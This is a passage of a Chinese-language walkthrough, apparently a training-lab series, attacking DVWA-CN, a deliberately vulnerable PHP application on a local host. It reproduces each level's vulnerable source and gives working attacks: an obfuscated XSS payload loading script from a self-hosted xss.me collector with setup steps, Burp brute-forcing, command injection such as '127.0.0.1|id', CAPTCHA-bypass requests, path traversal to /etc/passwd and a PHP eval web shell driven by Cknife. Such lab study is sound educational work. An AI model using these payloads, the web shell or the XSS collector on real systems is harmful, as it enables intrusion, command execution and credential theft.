</textarea>'"><img src=# id=xssyou style=display:none onerror=eval(unescape(/var%20b%3Ddocument.createElement
%28%22script%22%29%3Bb.src%3D%22http%3A%2F%2F192.168.56.80%2Fxssme%2FoosEK5%3F%22%2BMath.random%28%29%3B%28do
cument.getElementsByTagName%28%22HEAD%22%29%5B0%5D%7C%7Cdocument.body%29.appendChild%28b%29%3B/.source));//>
再或者以你任何想要的方式插入

http://192.168.56.80/xssme/oosEK5?1469157525
完成
```

用户输入

```
用户名：admin
信息：<script src=http://192.168.56.80/xssme/oosEK5?1469157525></script>
```

只要用户点击 `A5-跨站请求伪造(CSRF)` ，密码就会被改成admin。

附件 **xss.me**搭建教程

1. 下载xsser.me的源码，解压缩到相应的目录xss。
2. 使用phpMyAdmin在mysql中新建一个数据库xss，将该目录下的“xss.sql”文件导入该数据库。点击执行后，可以看到已经创建好了表。

3. 执行下面的sql语句，改为自己的域名，这里我用的是本地主机搭建的环境。所以直接使用了ip地址“120.219.13.151”。

```
UPDATE oc_module SET code=REPLACE(code,'http://xss.alisec.cn','http://192.168.56.80/xssme')
```

4. 修该网站目录下面的config.php文件，根据具体情况和注释。

```
主机:        'localhost'。
用户:        'root'
密码:        ''
数据库名:    'xss'
表名前缀:    oc_
注册:        normal
起始url为:    http://192.168.56.80/xssme
```

5. 访问网站测试一下，然后注册一个新的帐号。因为上面设置了normal模式，所以这里邀请码随便填。
6. 在这里提交注册时旧的版本点击提交注册后会没反应，查看源码，会发现‘type="button"’,要改为“submit”才能提交。 注意：如果登陆成功后网站是一片空白的话，则需要编辑php.ini 打开php.ini文件, 找到output_buffering = 改为on或者任何数字。
7. 进行xss的时候还需要做一件事情，就是url重写。只需要在网站目录下创建一个“.htaccess”文件即可。（仅针对Apache） 文件内容如下：

```
<IfModule mod_rewrite.c>
RewriteEngine on
RewriteRule ^([0-9a-zA-Z]{6})$ index.php?do=code&urlKey=$1
RewriteRule ^do/auth/(\w+?)(/domain/([\w\.]+?))?$ index.php?do=do&auth=$1&domain=$3
RewriteRule ^register/(.*?)$ index.php?do=register&key=$1
RewriteRule ^register-validate/(.*?)$ index.php?do=register&act=validate&key=$1
RewriteRule ^login$ index.php?do=login
</IfModule>
```

   注意：最好将是否启用url rewrite改成true。

8. 如果需要给自己点权限，然后可以发放邀请码。修改user表里相应用户的的adminLevel项的值为“1”即可。phpmyadmin里直接双击修改即可。或者执行sql语句

```
UPDATE `xss`.`oc_user` SET `adminLevel` = '1' WHERE `oc_user`.`id` =1 LIMIT 1 ;
```

9. 然后修改config.php文件，经注册配置为只允许邀请注册。然后重新登录。
10. 然后访问“ `http://120.219.13.151/xss/index.php?do=user&act=invite` ”页面，发放邀请码。

dvwacn之六暴力破解

dvwacn之暴力破解物理路径

```
root@webserver:/var/www/dvwacn/vulnerabilities/brute/source# ls
high.php  low.php  medium.php
```

安全级别

- low.php

```
<?php

if( isset( $_GET['Login'] ) ) {

    $user = $_GET['username'];

    $pass = $_GET['password'];
    $pass = md5($pass);

    $qry = "SELECT * FROM `users` WHERE user='$user' AND password='$pass';";
    $result = mysql_query( $qry ) or die( '<pre>' . mysql_error() . '</pre>' );

    if( $result && mysql_num_rows( $result ) == 1 ) {
        // Get users details
        $i=0; // Bug fix.
        $avatar = mysql_result( $result, $i, "avatar" );

        // Login Successful
        $html .= "<p>µÂ¼³ɹ¦£¬ź¿ʒ₩²ڑ" . $user . "</p>";
        $html .= '<img src="' . $avatar . '" />';
    } else {
        //Login failed
        $html .= "<pre><br>ȸ»§Ļ»j¡£</pre>";
    }

    mysql_close();
}

?>
```

- medium.php

```
<?php

if( isset( $_GET[ 'Login' ] ) ) {

    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = mysql_real_escape_string( $user );

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = mysql_real_escape_string( $pass );
    $pass = md5( $pass );
```

```
    $qry = "SELECT * FROM `users` WHERE user='$user' AND password='$pass';";
    $result = mysql_query( $qry ) or die( '<pre>' . mysql_error() . '</pre>' );

    if( $result && mysql_num_rows($result) == 1 ) {
        // Get users details
        $i=0; // Bug fix.
        $avatar = mysql_result( $result, $i, "avatar" );

        // Login Successful
        $html .= "<p>µÂ¼³ɹ¦£¬ź¿ʒ₩²ّ . $user . "</p>";
        $html .= '<img src="' . $avatar . '" />';
    } else {
        //Login failed
        $html .= "<pre><br>ȣ»§Ļ»ⷪ舅j¡£</pre>";
    }

    mysql_close();
}

?>
```

- high.php

```
<?php

if( isset( $_GET[ 'Login' ] ) ) {

    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = stripslashes( $user );
    $user = mysql_real_escape_string( $user );

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = mysql_real_escape_string( $pass );
    $pass = md5( $pass );

    $qry = "SELECT * FROM `users` WHERE user='$user' AND password='$pass';";
    $result = mysql_query($qry) or die('<pre>' . mysql_error() . '</pre>' );

    if( $result && mysql_num_rows( $result ) == 1 ) {
        // Get users details
        $i=0; // Bug fix.
        $avatar = mysql_result( $result, $i, "avatar" );

        // Login Successful
        $html .= "<p>µÂ¼³ɹ¦£¬ź¿ʒ₩²ّ . $user . "</p>";
        $html .= '<img src="' . $avatar . '" />';
    } else {
        // Login failed
        sleep(3);
        $html .= "<pre><br>ȣ»§Ļ»ⷪ舅j¡£</pre>";
        }

    mysql_close();
}

?>
```

暴力破解过程

设置**http**代理

火狐浏览器中安装FoxyProxy插件

```
新建代理服务器-->代理名称:Burp Suite-->主机或IP地址:127.0.0.1-->端口:8080-->为全部Urls启用代理服务器Burp Suite
```

设置**Burp Suite**

打开Burp Suite

```
Proxy-->Options-->Add-->Bind to Port:8080|Blind to Address:127.0.0.1

Intercept-->Intercept is off
```

http://192.168.56.80/dvwacn/vulnerabilities/brute

用户点击暴力破解，输入

```
用户名：admin
密码：123456
```

接着到Burp Suite中查看抓到的http包内容

```
GET /dvwacn/vulnerabilities/brute/?username=admin&password=123456&Login=%B5%C7%C2%BD HTTP/1.1
Host: 192.168.56.80
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.56.80/dvwacn/vulnerabilities/brute/
Cookie: security=high; PHPSESSID=b066ao156vs6s2qhh0kr60sha4
Connection: close
```

把抓到的http包发送到Intruder，设置Positions如下

```
GET /dvwacn/vulnerabilities/brute/?username=admin&password=§123456§&Login=%B5%C7%C2%BD HTTP/1.1
Host: 192.168.56.80
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.56.80/dvwacn/vulnerabilities/brute/
Cookie: security=high; PHPSESSID=b066ao156vs6s2qhh0kr60sha4
Connection: close
```

设置Payloads，从Payload Options中选中Load...选择一个字典文件/tmp/dic.txt

dic.txt内容如下

```
123456
root
admin888
password
admin
```

设置Options匹配规则，从Grep - Match中选择Add添加 `用户名或者密码错误。`

然后点击Positions中的Start attack进行暴力破解

查看运行结果，按Length排序，选中字节数大小跟其他不一样的那一条,查看Response中的Render,你会发现已经登录成功了。

当然，你也可以查看录像文件，更直观的观察暴力破解过程。

http://192.168.56.80/dvwacn/vulnerabilities/brute/Bruteforce/Bruteforce_controller.swf

dvwacn之七命令执行

dvwacn之命令执行物理路径

```
root@webserver:/var/www/dvwacn/vulnerabilities/exec/source# ls
high.php  low.php  medium.php
```

安全级别

- low.php

```
<?php

if( isset( $_POST[ 'submit' ] ) ) {

    $target = $_REQUEST[ 'ip' ];

    // Determine OS and execute the ping command.
    if (stristr(php_uname('s'), 'Windows NT')) {

        $cmd = shell_exec( 'ping  ' . $target );
        $html .= '<pre>'.$cmd.'</pre>';

    } else {

        $cmd = shell_exec( 'ping  -c 3 ' . $target );
        $html .= '<pre>'.$cmd.'</pre>';

    }

}
?>
```

- medium.php

```
<?php

if( isset( $_POST[ 'submit'] ) ) {

    $target = $_REQUEST[ 'ip' ];

    // Remove any of the charactars in the array (blacklist).
    $substitutions = array(
        '&&' => '',
        ';' => '',
    );

    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if (stristr(php_uname('s'), 'Windows NT')) {

        $cmd = shell_exec( 'ping  ' . $target );
        $html .= '<pre>'.$cmd.'</pre>';

    } else {
```

```
        $cmd = shell_exec( 'ping  -c 3 ' . $target );
        $html .= '<pre>'.$cmd.'</pre>';

    }
}

?>
```

- high.php

```
<?php

if( isset( $_POST[ 'submit' ] ) ) {

    $target = $_REQUEST["ip"];

    $target = stripslashes( $target );


    // Split the IP into 4 octects
    $octet = explode(".", $target);

    // Check IF each octet is an integer
    if ((is_numeric($octet[0])) && (is_numeric($octet[1])) && (is_numeric($octet[2])) && (is_numeric($octet[3
])) && (sizeof($octet) == 4)  ) {

    // If all 4 octets are int's put the IP back together.
    $target = $octet[0].'.'.$octet[1].'.'.$octet[2].'.'.$octet[3];


        // Determine OS and execute the ping command.
        if (stristr(php_uname('s'), 'Windows NT')) {

            $cmd = shell_exec( 'ping  ' . $target );
            $html .= '<pre>'.$cmd.'</pre>';

        } else {

            $cmd = shell_exec( 'ping  -c 3 ' . $target );
            $html .= '<pre>'.$cmd.'</pre>';

        }

    }

    else {
        $html .= '<pre>´  £ºźˇłµépµ·ϟЧ¡£</pre>';
    }


}

?>
```

ping测试

在文本框中输入ip地址127.0.0.1&&ifconfig

页面返回

```
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.013 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.016 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.032 ms

--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 1998ms
rtt min/avg/max/mdev = 0.013/0.020/0.032/0.009 ms
eth0      Link encap:Ethernet  HWaddr 08:00:27:5d:88:62
          inet addr:10.0.2.15  Bcast:10.0.2.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe5d:8862/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:81 errors:0 dropped:0 overruns:0 frame:0
          TX packets:227 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:12225 (12.2 KB)  TX bytes:36058 (36.0 KB)

eth1      Link encap:Ethernet  HWaddr 08:00:27:fe:fe:c9
          inet addr:192.168.56.80  Bcast:192.168.56.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fefe:fec9/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:76146 errors:0 dropped:0 overruns:0 frame:0
          TX packets:72451 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:17208330 (17.2 MB)  TX bytes:65297581 (65.2 MB)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:3158 errors:0 dropped:0 overruns:0 frame:0
          TX packets:3158 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:971697 (971.6 KB)  TX bytes:971697 (971.6 KB)
```

可以发现成功执行了ifconfig命令

dvwacn之八不安全的验证码

dvwacn之不安全的验证码物理路径

```
root@webserver:/var/www/dvwacn/vulnerabilities/captcha/source# ls
high.php  low.php  medium.php
```

安全级别

- low.php

```
<?php

if( isset( $_POST['Change'] ) && ( $_POST['step'] == '1' ) ) {

    $hide_form = true;
    $user = $_POST['username'];
    $pass_new = $_POST['password_new'];
    $pass_conf = $_POST['password_conf'];
    $resp = recaptcha_check_answer ($_DVWA['recaptcha_private_key'],
        $_SERVER["REMOTE_ADDR"],
        $_POST["recaptcha_challenge_field"],
        $_POST["recaptcha_response_field"]);

    if (!$resp->is_valid) {
        // What happens when the CAPTCHA was entered incorrectly
        $html .= "<pre><br />验证码错误，请重新输入。</pre>";
        $hide_form = false;
        return;
    } else {
            if (($pass_new == $pass_conf)){
            $html .= "<pre><br />验证码通过，请单击更改按钮。 <br /></pre>";
            $html .= "
            <form action=\"#\" method=\"POST\">
                <input type=\"hidden\" name=\"step\" value=\"2\" />
                <input type=\"hidden\" name=\"password_new\" value=\"" . $pass_new . "\" />
                <input type=\"hidden\" name=\"password_conf\" value=\"" . $pass_conf . "\" />
                <input type=\"submit\" name=\"Change\" value=\"确定\" />
            </form>";
            }

            else{
                    $html .= "<pre> 两次输入的密码必须相同。 </pre>";
            $hide_form = false;
            }
    }
}

if( isset( $_POST['Change'] ) && ( $_POST['step'] == '2' ) )
{
     $pass_new = $_POST['password_new'];
    $pass_conf = $_POST['password_conf'];  //独自等待添加，修正原程序中的错误
    $hide_form = true;
        if ($pass_new  != $pass_conf)
        {
                $html .= "<pre><br />两次输入的密码必须相同。</pre>";
        $hide_form = false;
```

```
                return;
        }
        $pass = md5($pass_new);
        if (($pass_new == $pass_conf)){
                $pass_new = mysql_real_escape_string($pass_new);
                $pass_new = md5($pass_new);

                $insert="UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
                $result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' );

                $html .= "<pre> 密码已更改。 </pre>";
                mysql_close();
        }

        else{
                $html .= "<pre> 密码不匹配。 </pre>";
        }
}
?>
```

- medium.php

```
<?php
if( isset( $_POST['Change'] ) && ( $_POST['step'] == '1' ) ) {

    $hide_form = true;
    $user = $_POST['username'];
    $pass_new = $_POST['password_new'];
    $pass_conf = $_POST['password_conf'];
    $resp = recaptcha_check_answer($_DVWA['recaptcha_private_key'],
        $_SERVER["REMOTE_ADDR"],
        $_POST["recaptcha_challenge_field"],
        $_POST["recaptcha_response_field"]);

    if (!$resp->is_valid) {
        // What happens when the CAPTCHA was entered incorrectly
        $html .= "<pre><br />验证码错误，请重新输入。</pre>";
        $hide_form = false;
        return;
    } else {
            if (($pass_new == $pass_conf)){
            $html .= "<pre><br />验证码通过，请单击更改按钮。 <br /></pre>";
            $html .= "
            <form action=\"#\" method=\"POST\">
                <input type=\"hidden\" name=\"step\" value=\"2\" />
                <input type=\"hidden\" name=\"password_new\" value=\"" . $pass_new . "\" />
                <input type=\"hidden\" name=\"password_conf\" value=\"" . $pass_conf . "\" />
                <input type=\"hidden\" name=\"passed_captcha\" value=\"true\" />
                <input type=\"submit\" name=\"Change\" value=\"更改\" />
            </form>";
            }

            else{
                    $html .= "<pre> 两次输入的密码必须相同。 </pre>";
            $hide_form = false;
            }
    }
}

if( isset( $_POST['Change'] ) && ( $_POST['step'] == '2' ) )
```

```
{
     $pass_new = $_POST['password_new'];
    $pass_conf = $_POST['password_conf'];  //独自等待添加，修正原程序中的错误
    $hide_form = true;
    if (!$_POST['passed_captcha'])
    {
                $html .= "<pre><br />验证码不能过，小黑客，没得玩了哦！</pre>";
        $hide_form = false;
        return;
    }
        $pass = md5($pass_new);
        if (($pass_new == $pass_conf)){
               $pass_new = mysql_real_escape_string($pass_new);
               $pass_new = md5($pass_new);

               $insert="UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
               $result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' );

               $html .= "<pre> 密码已更改。 </pre>";
               mysql_close();
        }

        else{
               $html .= "<pre> 密码不匹配。 </pre>";
        }
}
?>
```

- high.php

```
<?php
if( isset( $_POST['Change'] ) && ( $_POST['step'] == '1' ) ) {

    $hide_form = true;

     $pass_new = $_POST['password_new'];
    $pass_new = stripslashes( $pass_new );
    $pass_new = mysql_real_escape_string( $pass_new );
    $pass_new = md5( $pass_new );

        $pass_conf = $_POST['password_conf'];
        $pass_conf = stripslashes( $pass_conf );
    $pass_conf = mysql_real_escape_string( $pass_conf );
    $pass_conf = md5( $pass_conf );

        $resp = recaptcha_check_answer ($_DVWA['recaptcha_private_key'],
        $_SERVER["REMOTE_ADDR"],
        $_POST["recaptcha_challenge_field"],
        $_POST["recaptcha_response_field"]);

    if (!$resp->is_valid) {
        // What happens when the CAPTCHA was entered incorrectly
        $html .= "<pre><br />验证码出错，请重试。</pre>";
        $hide_form = false;
        return;
    } else {
                // Check that the current password is correct
        $qry = "SELECT password FROM `users` WHERE user='admin' AND password='$pass_curr';";
        $result = mysql_query($qry) or die('<pre>' . mysql_error() . '</pre>' );
```

```
                if (($pass_new == $pass_conf)  && ( $result && mysql_num_rows( $result ) == 1 )){
                        $insert="UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser()
 . "';";
                        $result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' );

                        $html .= "<pre> 密码已更改 </pre>";
                        mysql_close();
                }

                else{
                        $html .= "<pre> 密码不匹配，请重新输入。 </pre>";
                }
    }
}
?>
```

绕过验证码，并将密码更改为：**admin888**

```
POST /dvwacn/vulnerabilities/captcha/ HTTP/1.1
Host: 192.168.56.80
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.56.80/dvwacn/vulnerabilities/captcha/
Cookie: security=low; PHPSESSID=b066ao156vs6s2qhh0kr60sha4
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 89

step=2&password_new=admin888&password_conf=admin888&Change=%B5%A5%BB%F7%CE%D2%B2%E2%CA%D4
```

dvwacn之九文件包含

dvwacn之文件包含物理路径

```
root@webserver:/var/www/dvwacn/vulnerabilities/fi/source# ls
high.php  low.php  medium.php
```

安全级别

- low.php

```
<?php

    $file = $_GET['page']; //The page we wish to display

?>
```

- medium.php

```
<?php

    $file = $_GET['page']; // The page we wish to display

    // Bad input validation
    $file = str_replace("http://", "", $file);
    $file = str_replace("https://", "", $file);


?>
```

- high.php

```
<?php

    $file = $_GET['page']; //The page we wish to display

    // Only allow include.php
    if ( $file != "include.php" ) {
        echo "´   : τ¼þδµ¼£¡";
        exit;
    }

?>
```

包含**phpinfo.php**文件

http://192.168.56.80/dvwacn/vulnerabilities/fi/?page=../../phpinfo.php

页面将返回phpinfo信息

包含**include.txt**

http://192.168.56.80/dvwacn/vulnerabilities/fi/?page=../../include.txt

页面返回

```
here is file inclution test!!!!!! code is excute here
```

包含/etc/passwd文件

http://192.168.56.80/dvwacn/vulnerabilities/fi/?page=../../../../etc/passwd

页面返回

```
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
...
```

dvwacn之十文件上传

dvwacn之文件上传物理路径

```
root@webserver:/var/www/dvwacn/vulnerabilities/upload/source# ls
high.php  low.php  medium.php
```

安全级别

- low.php

```
<?php
    if (isset($_POST['Upload'])) {

            $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
            $target_path = $target_path . basename( $_FILES['uploaded']['name']);

            if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {

                $html .= '<pre>';
                $html .= '上传失败.';
                $html .= '</pre>';

              } else {

                $html .= '<pre>';
                $html .= $target_path . '上传成功!';
                $html .= '</pre>';

            }

        }
?>
```

- medium.php

```
<?php
    if (isset($_POST['Upload'])) {

            $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
            $target_path = $target_path . basename($_FILES['uploaded']['name']);
            $uploaded_name = $_FILES['uploaded']['name'];
            $uploaded_type = $_FILES['uploaded']['type'];
            $uploaded_size = $_FILES['uploaded']['size'];

            if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)){


                if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {

                    $html .= '<pre>';
                    $html .= '上传失败.';
                    $html .= '</pre>';

                  } else {
```

```
                    $html .= '<pre>';
                    $html .= $target_path . ' 上传成功!';
                    $html .= '</pre>';

                    }
            }
            else{
                echo '<pre>上传失败.</pre>';
            }
        }
?>
```

- high.php

```
<?php
if (isset($_POST['Upload'])) {

            $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
            $target_path = $target_path . basename($_FILES['uploaded']['name']);
            $uploaded_name = $_FILES['uploaded']['name'];
            $uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1);
            $uploaded_size = $_FILES['uploaded']['size'];

            if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext
 == "JPEG") && ($uploaded_size < 100000)){


                if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {

                    $html .= '<pre>';
                    $html .= '上传失败.';
                    $html .= '</pre>';

                  } else {

                    $html .= '<pre>';
                    $html .= $target_path . ' 上传成功!';
                    $html .= '</pre>';

                    }
            }

            else{

                $html .= '<pre>';
                $html .= '上传失败.';
                $html .= '</pre>';

            }
        }

?>
```

文件上传

直接选择/tmp/mm.php文件上传

mm.php文件内容

```
<?php @eval($_POST['cmd']);?>
```

页面返回

```
../../hackable/uploads/mm.php上传成功!
```

利用工具

Cknife

https://github.com/xiongjungit/Cknife

上传文件url地址

http://192.168.56.80/dvwacn/hackable/uploads/mm.php

打开Cknife

```
添加地址：
http://192.168.56.80/dvwacn/hackable/uploads/mm.php

参数：
cmd

配置：
<T>MYSQL</T>
<H>localhost</H>
<U>root</U>
<P>123456</P>
<L>utf8</L>
```

右键-->文件管理

dvwacn之十一WebServices命令执行

dvwacn之之WebServices命令执行物理路径

```
root@webserver:/var/www/dvwacn/vulnerabilities/ws-exec/source# ls
high.php  low.php  medium.php
```

安全级别

- low.php

```
 <?php
/*  In the low level, neither the form nor the service do any validation.
 *
 */

echo "
                <h2>Ping测试</h2>
        <p>请在下面文本框中输入一个ip地址:</p>
        <form name=\"ping\" action=\"javascript: beginPingLow()\">
            <input id=\"pingAddress\" type=\"text\" name=\"ip\" size=\"30\">
            <input id=\"pingButton\" type=\"Submit\" value=\"确定\" name=\"submit\">
        </form>
                <div id=\"results\"></div>";
?>
```

- medium.php

```
 <?php
/*  In the medium level, form performs some strict validation before sending to the
 *      service which does no validation. Here the developer is relying on the client side
 *      code to do all validation, and we know what that means.
 */

echo "
                <h2>Ping测试</h2>
        <p>请在下面文本框中输入一个ip地址:</p>
        <form name=\"ping\" action=\"javascript: beginPingMedium()\">
            <input id=\"pingAddress\" type=\"text\" name=\"ip\" size=\"30\">
            <input id=\"pingButton\" type=\"Submit\" value=\"确定\" name=\"submit\">
        </form>
                <div id=\"results\"></div>";
?>
```

- high.php

```
 <?php
/*  In the medium level, form performs some strict validation before sending to the
 *      service which does no validation. Here the developer is relying on the client side
 *      code to do all validation, and we know what that means.
 */

echo "
                <h2>Ping测试</h2>
        <p>请在下面文本框中输入一个ip地址:</p>
```

```
        <form name=\"ping\" action=\"javascript: beginPingHigh()\">
            <input id=\"pingAddress\" type=\"text\" name=\"ip\" size=\"30\">
            <input id=\"pingButton\" type=\"Submit\" value=\"确定\" name=\"submit\">
        </form>
                <div id=\"results\"></div>";
?>
```

Ping测试

使用BurpSuite配合测试soap.wsdl

用户输入

```
127.0.0.1|id
```

BurpSuite捕获的http请求数据包

```
POST /dvwacn/vulnerabilities/ws-exec/ws-commandinj.php HTTP/1.1
Host: 192.168.56.80
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: application/xml, text/xml, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: text/xml; charset="utf-8"
X-Requested-With: XMLHttpRequest
Referer: http://192.168.56.80/dvwacn/vulnerabilities/ws-exec/
Content-Length: 297
Cookie: security=low; PHPSESSID=ulabc0doicpbifpef5r00hbs52; Hm_lvt_76a0c683d2fe8348e3cb8ceaeca39b4d=146941553
3; Hm_lpvt_76a0c683d2fe8348e3cb8ceaeca39b4d=1469415533; yunpian.lang=zh
Connection: close

<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSch
ema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><pingAddressLow xmlns="http://localhos
t"><address>127.0.0.1|id</address></pingAddressLow></soap:Body></soap:Envelope>
```

BurpSuite捕获的http返回数据包

```
HTTP/1.1 200 OK
Date: Mon, 25 Jul 2016 03:22:31 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.18
X-SOAP-Server: NuSOAP/0.9.5 (1.123)
Vary: Accept-Encoding
Content-Length: 571
Connection: close
Content-Type: text/xml; charset=gb2312

<?xml version="1.0" encoding="gb2312"?><SOAP-ENV:Envelope SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/
soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/
XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/s
oap/encoding/"><SOAP-ENV:Body><ns1:pingAddressLowResponse xmlns:ns1="http://localhost"><return xsi:type="xsd:
string">uid=33(www-data) gid=33(www-data) groups=33(www-data)</return></ns1:pingAddressLowResponse></SOAP-ENV
:Body></SOAP-ENV:Envelope>
```

可以看到id命令被成功执行，返回

```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```